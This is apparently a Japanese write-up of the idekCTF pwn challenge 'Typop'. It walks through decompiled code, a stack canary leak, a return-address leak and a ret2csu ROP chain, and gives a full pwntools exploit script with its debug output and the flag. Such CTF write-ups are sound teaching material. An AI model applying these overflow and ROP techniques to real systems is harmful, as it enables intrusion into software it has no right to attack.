Ghidraで解析する。main関数。Pwn/TypopJW#9396While writing the feedback form for idekCTF, JW made a small typo. It still compiled though, so what could possibly go wrong?
nc typop.chal.idek.team 1337
Downloads
y(0x79)を入力してgetFeedback関数に行く。undefined8 main(void){int iVar1;setvbuf(stdout,(char *)0x0,2,0);while( true ) {iVar1 = puts("Do you want to complete a survey?");if (iVar1 == 0) {return 0;}iVar1 = getchar();if (iVar1 != 0x79) break;getchar();getFeedback();}return 0;}
readの読み込みサイズが大きいためバッファオーバーフローが起こる。1周目の最初の入力でlocal_10(Canary)の値を漏洩させて2回目の入力でlocal_10(Canary)の値を復元(Stack Canaryの先頭1バイトは0)して2周目へ。2周目の最初の入力でリターンアドレス(main)をリークさせてwinのアドレスを計算、2回目の入力でwin関数を呼び出す。void getFeedback(void){long in_FS_OFFSET;undefined8 local_1a;undefined2 local_12;long local_10;local_10 = *(long *)(in_FS_OFFSET + 0x28);local_1a = 0;local_12 = 0;puts("Do you like ctf?");read(0,&local_1a,0x1e);printf("You said: %s\\n",&local_1a);if ((char)local_1a == 'y') {printf("That\\'s great! ");}else {printf("Aww :( ");}puts("Can you provide some extra feedback?");read(0,&local_1a,0x5a);if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {/* WARNING: Subroutine does not return */__stack_chk_fail();}return;}
win関数を呼び出す際、引数にはparam_1(EDI)=0x66(f)、param_2(ESI)=0x6c(l)、param_3(EDX)=0x61(a)をセットしておく必要がある。引数が3つ以上ある場合は、__libc_csu_init関数の「pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret」と「mov rdx, r14 ; mov rsi, r13 ; mov edi, r12d ; call qword [r15+rbx*8]」を利用してレジスタにセットする。void win(undefined param_1,undefined param_2,undefined param_3){FILE *__stream;long in_FS_OFFSET;undefined8 local_52;undefined2 local_4a;undefined8 local_48;undefined8 local_40;undefined8 local_38;undefined8 local_30;undefined8 local_28;undefined8 local_20;long local_10;local_10 = *(long *)(in_FS_OFFSET + 0x28);local_4a = 0;local_52 = CONCAT17(0x74,CONCAT16(0x78,CONCAT15(0x74,CONCAT14(0x2e,CONCAT13(0x67,CONCAT12(param_3,CONCAT11(param_2,param_1)))))));__stream = fopen((char *)&local_52,"r");if (__stream == (FILE *)0x0) {puts("Error opening flag file.");/* WARNING: Subroutine does not return */exit(1);}local_48 = 0;local_40 = 0;local_38 = 0;local_30 = 0;local_28 = 0;local_20 = 0;fgets((char *)&local_48,0x20,__stream);puts((char *)&local_48);if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {/* WARNING: Subroutine does not return */__stack_chk_fail();}return;}
from pwn import *
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()
context.log_level = 'debug'
if args.local:
#p = process('./chall')
p = gdb.debug('./chall', '''
break __libc_csu_init
break main
break getFeedback
break win
continue
''')
else:
p = remote('typop.chal.idek.team', 1337)
elf = ELF('chall', checksec=False)
rop = ROP(elf)
p.recvuntil(b"Do you want to complete a survey?")
p.sendline(b"y")
p.recvuntil(b"Do you like ctf?")
p.sendline(
b''
+ b'A' * 0xa
)
p.recvline()
p.recvline() # You said: AAAAAAAAAA
ret = p.recvline()
print(ret)
canary = ret[:7]
print(canary)
canary = canary.rjust(8, b'\0')
print('canary=', canary)
saved_rbp = ret[7:].strip()
print('saved_rbp=', saved_rbp)
saved_rbp = u64(saved_rbp.ljust(8, b'\0'))
print('saved_rbp=', saved_rbp)
p.recvuntil(b"Can you provide some extra feedback?")
p.send(
b''
+ b'A' * 0xa
+ canary
)
# 2回目
p.recvuntil(b"Do you want to complete a survey?")
p.sendline(b"y")
p.recvuntil(b"Do you like ctf?")
p.sendline(
b''
+ b'A' * 0xa
+ b'B' * 8
+ b'C' * 7
)
p.recvline()
p.recvline() # You said: AAAAAAAAAA
ret = p.recvline()
print(ret)
main_addr = ret.strip()
print('main=', main_addr)
main_addr = u64(main_addr.ljust(8, b'\0'))
main_addr -= 55
print('main=', main_addr)
diff = elf.symbols['win'] - elf.symbols['main']
print(diff)
win_addr = main_addr + diff
call_r15 = 0x000014b0 # mov rdx, r14 ; mov rsi, r13 ; mov edi, r12d ; call qword [r15+rbx*8]
call_r15 += main_addr-elf.symbols['main']
popret_rbx = 0x000014ca # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
popret_rbx += main_addr-elf.symbols['main']
p.recvuntil(b"Can you provide some extra feedback?\n")
p.send(
b''
+ b'A' * 0x2
+ p64(win_addr)
+ canary
+ p64(saved_rbp)
+ p64(popret_rbx)
+ p64(0) # 0 -> rbx
+ p64(1) # 1 -> rbp
+ p64(0x66) # 'f' -> r12
+ p64(0x6c) # 'l' -> r13
+ p64(0x61) # 'a' -> r14
+ p64(saved_rbp - 0x20) # win_addr -> r15
+ p64(call_r15)
)
ret = p.recvall()
print(ret)
フラグは[x] Opening connection to typop.chal.idek.team on port 1337[x] Opening connection to typop.chal.idek.team on port 1337: Trying 34.85.186.45[+] Opening connection to typop.chal.idek.team on port 1337: Done[*] Loaded 14 cached gadgets for 'chall'[DEBUG] Received 0x1e bytes:b'== proof-of-work: disabled ==\n'[DEBUG] Received 0x22 bytes:b'Do you want to complete a survey?\n'[DEBUG] Sent 0x2 bytes:b'y\n'[DEBUG] Received 0x11 bytes:b'Do you like ctf?\n'[DEBUG] Sent 0xb bytes:b'AAAAAAAAAA\n'[DEBUG] Received 0x4f bytes:00000000 59 6f 75 20 73 61 69 64 3a 20 41 41 41 41 41 41 │You │said│: AA│AAAA│00000010 41 41 41 41 0a ac 7f 5b 2f db 39 85 e0 97 98 ac │AAAA│···[│/·9·│····│00000020 fc 7f 0a 41 77 77 20 3a 28 20 43 61 6e 20 79 6f │···A│ww :│( Ca│n yo│00000030 75 20 70 72 6f 76 69 64 65 20 73 6f 6d 65 20 65 │u pr│ovid│e so│me e│00000040 78 74 72 61 20 66 65 65 64 62 61 63 6b 3f 0a │xtra│ fee│dbac│k?·│0000004fb'\xac\x7f[/\xdb9\x85\xe0\x97\x98\xac\xfc\x7f\n'b'\xac\x7f[/\xdb9\x85'canary= b'\x00\xac\x7f[/\xdb9\x85'saved_rbp= b'\xe0\x97\x98\xac\xfc\x7f'saved_rbp= 140723204167648[DEBUG] Sent 0x12 bytes:00000000 41 41 41 41 41 41 41 41 41 41 00 ac 7f 5b 2f db │AAAA│AAAA│AA··│·[/·│00000010 39 85 │9·│00000012[DEBUG] Received 0x22 bytes:b'Do you want to complete a survey?\n'[DEBUG] Sent 0x2 bytes:b'y\n'[DEBUG] Received 0x11 bytes:b'Do you like ctf?\n'[DEBUG] Sent 0x1a bytes:b'AAAAAAAAAABBBBBBBBCCCCCCC\n'[DEBUG] Received 0x57 bytes:00000000 59 6f 75 20 73 61 69 64 3a 20 41 41 41 41 41 41 │You │said│: AA│AAAA│00000010 41 41 41 41 42 42 42 42 42 42 42 42 43 43 43 43 │AAAA│BBBB│BBBB│CCCC│00000020 43 43 43 0a 47 74 e9 3d a0 55 0a 41 77 77 20 3a │CCC·│Gt·=│·U·A│ww :│00000030 28 20 43 61 6e 20 79 6f 75 20 70 72 6f 76 69 64 │( Ca│n yo│u pr│ovid│00000040 65 20 73 6f 6d 65 20 65 78 74 72 61 20 66 65 65 │e so│me e│xtra│ fee│00000050 64 62 61 63 6b 3f 0a │dbac│k?·│00000057b'Gt\xe9=\xa0U\n'main= b'Gt\xe9=\xa0U'main= 94146721838096-455[DEBUG] Sent 0x5a bytes:00000000 41 41 49 72 e9 3d a0 55 00 00 00 ac 7f 5b 2f db │AAIr│·=·U│····│·[/·│00000010 39 85 e0 97 98 ac fc 7f 00 00 ca 74 e9 3d a0 55 │9···│····│···t│·=·U│00000020 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 │····│····│····│····│00000030 00 00 66 00 00 00 00 00 00 00 6c 00 00 00 00 00 │··f·│····│··l·│····│00000040 00 00 61 00 00 00 00 00 00 00 c0 97 98 ac fc 7f │··a·│····│····│····│00000050 00 00 b0 74 e9 3d a0 55 00 00 │···t│·=·U│··│0000005a[x] Receiving all data[x] Receiving all data: 0B[DEBUG] Received 0x1f bytes:b'idek{2_guess_typos_do_matter}\n'b'\n'[x] Receiving all data: 31B[+] Receiving all data: Done (31B)[*] Closed connection to typop.chal.idek.team port 1337b'idek{2_guess_typos_do_matter}\n\n'
idek{2_guess_typos_do_matter}